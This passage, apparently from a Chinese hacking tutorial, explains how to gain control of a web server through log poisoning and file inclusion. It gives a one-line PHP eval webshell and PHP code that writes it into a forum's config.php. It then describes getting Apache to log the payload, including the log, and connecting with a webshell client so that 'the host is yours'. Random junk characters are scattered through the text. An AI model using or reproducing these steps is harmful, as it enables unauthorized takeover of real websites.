因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

<?eval($_POST[cmd]);?> ) R5 g, J; Y. l# a
5 ~* f Q8 J0 V/ C6 P到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， ( n6 h7 S: Z: q+ i: L& C
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
# L# [9 ]4 Q* G% X$ |: z1 g$ N4 k: `/ F$ Z! \9 v7 d+ s
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
& s6 t, k: h/ E& t2 s1 I o" pfclose($fp);?> //在config.php里写入一句木马语句
9 @+ Q$ ~! ?, ]4 b o2 [9 U( j& N# {2 ~3 n$ E% D+ w4 `
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。

直接用lanker的客户端一连，主机就是你的了。
